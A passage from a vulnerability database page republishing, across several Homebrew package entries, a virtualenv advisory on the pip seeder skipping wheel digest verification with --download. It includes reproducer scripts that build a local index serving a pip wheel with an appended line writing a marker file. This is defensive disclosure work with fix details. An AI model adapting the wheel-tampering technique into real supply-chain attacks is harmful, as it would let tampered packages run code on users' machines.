    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "virtualenvwrapper",
            "purl": "pkg:brew/virtualenvwrapper"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "6.1.1_3"
                },
                {
                  "fixed": "6.1.1_4"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-virtualenvwrapper-CVE-2026-113717",
      "modified": "2026-11-19T10:54:02Z",
      "published": "2026-10-26T10:12:13Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-VIRTUALFISH-CVE-202… (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-28 08:54 – Updated: 2026-11-19 09:55 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "virtualfish",
            "purl": "pkg:brew/virtualfish"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.5"
                },
                {
                  "fixed": "2.5.9_5"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    